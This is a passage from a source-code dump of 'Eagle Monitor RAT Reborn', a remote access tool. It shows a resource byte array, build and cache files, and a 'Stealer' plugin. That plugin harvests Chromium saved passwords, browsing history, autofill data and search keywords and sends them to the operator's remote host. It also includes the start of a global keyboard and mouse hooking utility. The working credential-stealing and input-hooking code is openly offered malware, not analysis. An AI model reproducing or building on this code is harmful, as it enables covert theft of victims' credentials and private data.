0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x10, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x58, 0x80, 0x00, 0x00, 0x2C, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x03, 0x34, 0x00, 0x00, 0x00, 0x56, 0x00, 0x53, 0x00, 0x5F, 0x00, 0x56, 0x00, 0x45, 0x00, 0x52, 0x00, 0x53, 0x00, 0x49, 0x00, 0x4F, 0x00, 0x4E, 0x00, 0x5F, 0x00, 0x49, 0x00, 0x4E, 0x00, 0x46, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBD, 0x04, 0xEF, 0xFE, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, 0x00, 0x01, 0x00, 0x56, 0x00, 0x61, 0x00, 0x72, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x04, 0x00, 0x00, 0x00, 0x54, 0x00, 0x72, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB0, 0x04, 0x8C, 0x02, 0x00, 0x00, 0x01, 0x00, 0x53, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x00, 0x00, 0x68, 0x02, 0x00, 0x00, 0x01, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x30, 0x00, 0x34, 0x00, 0x62, 0x00, 0x30, 0x00, 0x00, 0x00, 0x1A, 0x00, 0x01, 0x00, 0x01, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0x00, 0x01, 0x00, 0x01, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x79, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x00, 0x0B, 0x00, 0x01, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x44, 0x00, 0x65, 0x00, 0x73, 0x00, 0x63, 0x00, 0x72, 0x00, 0x69, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x00, 0x35, 0x00, 0x58, 0x00, 0x37, 0x00, 0x41, 0x00, 0x34, 0x00, 0x51, 0x00, 0x31, 0x00, 0x53, 0x00, 0x45, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x08, 0x00, 0x01, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x00, 0x00, 0x3E, 0x00, 0x0F, 0x00, 0x01, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x50, 0x00, 0x35, 0x00, 0x58, 0x00, 0x37, 0x00, 0x41, 0x00, 0x34, 0x00, 0x51, 0x00, 0x31, 0x00, 0x53, 0x00, 0x45, 0x00, 0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x12, 0x00, 0x01, 0x00, 0x4C, 0x00, 0x65, 0x00, 0x67, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x79, 0x00, 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x00, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x79, 0x00, 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x20, 0x00, 0xA9, 0x00, 0x20, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x32, 0x00, 0x30, 0x00, 0x00, 0x00, 0x2A, 0x00, 0x01, 0x00, 0x01, 0x00, 0x4C, 0x00, 0x65, 0x00, 0x67, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x54, 0x00, 0x72, 0x00, 0x61, 0x00, 0x64, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x61, 0x00, 0x72, 0x00, 0x6B, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x0F, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x50, 0x00, 0x35, 0x00, 0x58, 0x00, 0x37, 0x00, 0x41, 0x00, 0x34, 0x00, 0x51, 0x00, 0x31, 0x00, 0x53, 0x00, 0x45, 0x00, 0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x36, 0x00, 0x0B, 0x00, 0x01, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x00, 0x35, 0x00, 0x58, 0x00, 0x37, 0x00, 0x41, 0x00, 0x34, 0x00, 0x51, 0x00, 0x31, 0x00, 0x53, 0x00, 0x45, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x08, 0x00, 0x01, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x31, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x00, 0x00, 0x38, 0x00, 0x08, 0x00, 0x01, 0x00, 0x41, 0x00, 0x73, 0x00, 0x73, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x62, 0x00, 0x6C, 0x00, 0x79, 0x00, 0x20, 0x00, 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x31, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; } } ================================================ FILE: Remote Access Tool/Plugins/Stealer/Launch.cs ================================================ using PacketLib.Utils; using PacketLib.Packet; using PacketLib; using System.Threading; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { public static class Launch { public static void Main(LoadingAPI loadingAPI) { switch (loadingAPI.CurrentPacket.PacketType) { case PacketType.RECOVERY_PASSWORDS: PasswordsPacket passwordsPacket = new PasswordsPacket(ChromiumRecovery.Recovery(), loadingAPI.BaseIp, loadingAPI.HWID); ClientSender(loadingAPI.Host, loadingAPI.Key, passwordsPacket); break; case PacketType.RECOVERY_HISTORY: HistoryPacket historyPacket = new HistoryPacket(ChromiumHistory.Recovery(), loadingAPI.BaseIp, loadingAPI.HWID); ClientSender(loadingAPI.Host, loadingAPI.Key, historyPacket); break; case PacketType.RECOVERY_AUTOFILL: AutofillPacket autofillPacket = new AutofillPacket(ChromiumAutofill.Recovery(), loadingAPI.BaseIp, loadingAPI.HWID); ClientSender(loadingAPI.Host, loadingAPI.Key ,autofillPacket); break; case PacketType.RECOVERY_KEYWORDS: KeywordsPacket keywordsPacket = new KeywordsPacket(ChromiumKeywords.Recovery(), loadingAPI.BaseIp,loadingAPI.HWID); ClientSender(loadingAPI.Host, loadingAPI.Key, keywordsPacket); break; case PacketType.RECOVERY_ALL: passwordsPacket = new PasswordsPacket(ChromiumRecovery.Recovery(), loadingAPI.BaseIp, loadingAPI.HWID); historyPacket = new HistoryPacket(ChromiumHistory.Recovery(), loadingAPI.BaseIp, loadingAPI.HWID); autofillPacket = new AutofillPacket(ChromiumAutofill.Recovery(), loadingAPI.BaseIp, loadingAPI.HWID); keywordsPacket = new KeywordsPacket(ChromiumKeywords.Recovery(), loadingAPI.BaseIp, loadingAPI.HWID); ClientSender(loadingAPI.Host, loadingAPI.Key, passwordsPacket); ClientSender(loadingAPI.Host, loadingAPI.Key, historyPacket); ClientSender(loadingAPI.Host, loadingAPI.Key, autofillPacket); ClientSender(loadingAPI.Host, loadingAPI.Key, keywordsPacket); break; default: return; } Miscellaneous.CleanMemory(); } private static void ClientSender(Host host, string key, IPacket packet) { ClientHandler clientHandler = new ClientHandler(host, key); clientHandler.ConnectStart(); while (!clientHandler.Connected) Thread.Sleep(125); clientHandler.SendPacket(packet); } } } ================================================ FILE: Remote Access Tool/Plugins/Stealer/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // Les informations générales relatives à un assembly dépendent de // l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations // associées à un assembly. [assembly: AssemblyTitle("Stealer")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("Stealer")] [assembly: AssemblyCopyright("Arsium © 2022")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly // aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de // COM, affectez la valeur true à l'attribut ComVisible sur ce type. [assembly: ComVisible(false)] // Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM [assembly: Guid("57239258-19e3-4b07-854c-8b0a3221c45a")] // Les informations de version pour un assembly se composent des quatre valeurs suivantes : // // Version principale // Version secondaire // Numéro de build // Révision // // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("3.2.4.0")] [assembly: AssemblyFileVersion("3.2.4.0")] ================================================ FILE: Remote Access Tool/Plugins/Stealer/Stealer.csproj ================================================  Debug AnyCPU {57239258-19E3-4B07-854C-8B0A3221C45A} Library Properties Plugin Stealer v4.5 512 true false none false ..\..\bin\Debug\Plugins\ DEBUG;TRACE prompt 4 none true ..\..\bin\Release\Plugins\ TRACE prompt 4 bin\x64\Debug\ DEBUG;TRACE x64 7.3 prompt bin\x64\Release\ TRACE true x64 7.3 prompt {81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff} PacketLib ================================================ FILE: Remote Access Tool/Plugins/Stealer/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Plugins/Stealer/obj/Debug/Stealer.csproj.CoreCompileInputs.cache ================================================ ba3aa33950505ea5c03515cce60bd229f0108ccf ================================================ FILE: Remote Access Tool/Plugins/Stealer/obj/Debug/Stealer.csproj.FileListAbsolute.txt ================================================ F:\Personal\DesyncFlow\Stealer\bin\Debug\Stealer.dll F:\Personal\DesyncFlow\Stealer\bin\Debug\Stealer.pdb F:\Personal\DesyncFlow\Stealer\obj\Debug\Stealer.csproj.CoreCompileInputs.cache F:\Personal\DesyncFlow\Stealer\obj\Debug\Stealer.dll F:\Personal\DesyncFlow\Stealer\obj\Debug\Stealer.pdb F:\Personal\DesyncFlow\Stealer\bin\Debug\PacketLib.dll F:\Personal\DesyncFlow\Stealer\obj\Debug\Stealer.csproj.AssemblyReference.cache F:\Personal\DesyncFlow\Stealer\obj\Debug\Stealer.csproj.CopyComplete F:\Personal\DesyncOps\bin\Debug\Plugins\Stealer.dll F:\Personal\DesyncOps\Stealer\obj\Debug\Stealer.csproj.CoreCompileInputs.cache F:\Personal\DesyncOps\Stealer\obj\Debug\Stealer.csproj.Fody.CopyLocal.cache F:\Personal\DesyncOps\Stealer\obj\Debug\Stealer.dll F:\Personal\DesyncOps\Stealer\obj\Debug\Stealer.csproj.AssemblyReference.cache F:\Personal\DesyncOps\Remote Access Tool\Plugins\Stealer\obj\Debug\Stealer.dll F:\Personal\DesyncOps\Remote Access Tool\Plugins\Stealer\obj\Debug\Stealer.csproj.CoreCompileInputs.cache F:\Personal\DesyncOps\Remote Access Tool\bin\Debug\Plugins\Stealer.dll F:\Personal\DesyncOps\Remote Access Tool\Plugins\Stealer\obj\Debug\Stealer.csproj.Fody.CopyLocal.cache F:\Personal\DesyncOps\Remote Access Tool\Plugins\Stealer\obj\Debug\Stealer.csproj.AssemblyReference.cache E:\личный\программирование\C#\DesyncOps\Remote Access Tool\bin\Debug\Plugins\Stealer.dll E:\личный\программирование\C#\DesyncOps\Remote Access Tool\Plugins\Stealer\obj\Debug\Stealer.csproj.AssemblyReference.cache E:\личный\программирование\C#\DesyncOps\Remote Access Tool\Plugins\Stealer\obj\Debug\Stealer.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\DesyncOps\Remote Access Tool\Plugins\Stealer\obj\Debug\Stealer.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\DesyncOps\Remote Access Tool\Plugins\Stealer\obj\Debug\Stealer.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Debug\Plugins\Stealer.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Stealer\obj\Debug\Stealer.csproj.AssemblyReference.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Stealer\obj\Debug\Stealer.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Stealer\obj\Debug\Stealer.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Stealer\obj\Debug\Stealer.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Debug\Plugins\Stealer.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Stealer\obj\Debug\Stealer.csproj.AssemblyReference.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Stealer\obj\Debug\Stealer.csproj.CoreCompileInputs.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Stealer\obj\Debug\Stealer.csproj.Fody.CopyLocal.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Stealer\obj\Debug\Stealer.dll ================================================ FILE: Remote Access Tool/Plugins/Stealer/obj/Debug/Stealer.csproj.Fody.CopyLocal.cache ================================================ ================================================ FILE: Remote Access Tool/Plugins/Stealer/obj/Debug/build.force ================================================ ================================================ FILE: Remote Access Tool/Plugins/Stealer/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Plugins/Stealer/obj/Release/Stealer.csproj.CoreCompileInputs.cache ================================================ de156314dddb907d39d927f419e4e8c0eef07411 ================================================ FILE: Remote Access Tool/Plugins/Stealer/obj/Release/Stealer.csproj.FileListAbsolute.txt ================================================ F:\Personal\DesyncOps\bin\Release\Plugins\Stealer.dll F:\Personal\DesyncOps\bin\Release\Plugins\Stealer.pdb F:\Personal\DesyncFlow\Stealer\obj\Release\Stealer.csproj.AssemblyReference.cache F:\Personal\DesyncFlow\Stealer\obj\Release\Stealer.csproj.CoreCompileInputs.cache F:\Personal\DesyncFlow\Stealer\obj\Release\Stealer.csproj.CopyComplete F:\Personal\DesyncFlow\Stealer\obj\Release\Stealer.dll F:\Personal\DesyncFlow\Stealer\obj\Release\Stealer.pdb F:\Personal\DesyncOps\Stealer\obj\Release\Stealer.csproj.AssemblyReference.cache F:\Personal\DesyncOps\Stealer\obj\Release\Stealer.csproj.CoreCompileInputs.cache F:\Personal\DesyncOps\Stealer\obj\Release\Stealer.dll F:\Personal\DesyncOps\Stealer\obj\Release\Stealer.pdb F:\Personal\DesyncOps\Stealer\obj\Release\Stealer.csproj.Fody.CopyLocal.cache F:\Personal\DesyncOps\Stealer\obj\Release\Stealer.csproj.CopyComplete D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Release\Plugins\Stealer.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Stealer\obj\Release\Stealer.csproj.AssemblyReference.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Stealer\obj\Release\Stealer.csproj.CoreCompileInputs.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Stealer\obj\Release\Stealer.csproj.Fody.CopyLocal.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Stealer\obj\Release\Stealer.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Release\Plugins\Stealer.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Stealer\obj\Release\Stealer.csproj.AssemblyReference.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Stealer\obj\Release\Stealer.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Stealer\obj\Release\Stealer.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\Stealer\obj\Release\Stealer.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Stealer\obj\Release\Stealer.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\bin\Release\Plugins\Stealer.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Stealer\obj\Release\Stealer.csproj.AssemblyReference.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Stealer\obj\Release\Stealer.csproj.CoreCompileInputs.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\Stealer\obj\Release\Stealer.csproj.CopyComplete C:\Eagle Monitor RAT Reborn\bin\Release\Plugins\Stealer.dll C:\Eagle Monitor RAT Reborn\Plugins\Stealer\obj\Release\Stealer.csproj.AssemblyReference.cache C:\Eagle Monitor RAT Reborn\Plugins\Stealer\obj\Release\Stealer.csproj.CoreCompileInputs.cache C:\Eagle Monitor RAT Reborn\Plugins\Stealer\obj\Release\Stealer.csproj.CopyComplete C:\Eagle Monitor RAT Reborn\Plugins\Stealer\obj\Release\Stealer.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\Stealer.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Stealer\obj\Release\Stealer.csproj.AssemblyReference.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Stealer\obj\Release\Stealer.csproj.CoreCompileInputs.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Stealer\obj\Release\Stealer.csproj.CopyComplete C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\Stealer\obj\Release\Stealer.dll F:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\Stealer.dll F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Stealer\obj\Release\Stealer.csproj.AssemblyReference.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Stealer\obj\Release\Stealer.csproj.CoreCompileInputs.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Stealer\obj\Release\Stealer.csproj.CopyComplete F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Stealer\obj\Release\Stealer.dll E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\Stealer.dll E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Stealer\obj\Release\Stealer.csproj.AssemblyReference.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Stealer\obj\Release\Stealer.csproj.CoreCompileInputs.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Stealer\obj\Release\Stealer.csproj.CopyComplete E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\Stealer\obj\Release\Stealer.dll ================================================ FILE: Remote Access Tool/Plugins/Stealer/obj/Release/Stealer.csproj.Fody.CopyLocal.cache ================================================ ================================================ FILE: Remote Access Tool/Plugins/Stealer/obj/Release/_IsIncrementalBuild ================================================ obj\Release\\_IsIncrementalBuild ================================================ FILE: Remote Access Tool/Plugins/Stealer/obj/x64/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Utils/HookHardware/Global.cs ================================================ using System.Threading; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace HookHardware { public static class Global { public static Thread keyboadThread = new Thread(KeyboardThread); public static Keyboard keyboardHook = new Keyboard(); public static Thread mouseThread = new Thread(MouseThread); public static Mouse mouseHook = new Mouse(); public static void HookKeyboard() { try { keyboadThread.Start(); } catch { } } private static void KeyboardThread() { try { keyboardHook.HookKeyboard(); Application.Run(); } catch { } } public static void UnhookKeyboard() { keyboadThread.Abort(); keyboardHook.AbortHook(); } public static void HookMouse() { try { mouseThread.Start(); } catch { } } private static void MouseThread() { try { mouseHook.HookMouse(); Application.Run(); } catch { } } public static void UnhookMouse() { mouseThread.Abort(); mouseHook.AbortHook(); } } } ================================================ FILE: Remote Access Tool/Utils/HookHardware/HookHardware.csproj ================================================  Debug AnyCPU {64C6E036-FF80-4F45-87F6-0A9996131FA1} Library Properties HookHardware HookHardware v4.5 512 true false none false bin\Debug\ DEBUG;TRACE prompt 4 none true bin\Release\ TRACE prompt 4 ================================================ FILE: Remote Access Tool/Utils/HookHardware/Imports.cs ================================================ using System; using System.Drawing; using System.Runtime.InteropServices; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace HookHardware { internal class Imports { #region "user32" private const string user32 = "user32.dll"; [DllImport(user32)] internal static extern bool UnhookWindowsHookEx(IntPtr hook); [DllImport(user32)] internal static extern IntPtr CallNextHookEx(IntPtr hook, int nCode, 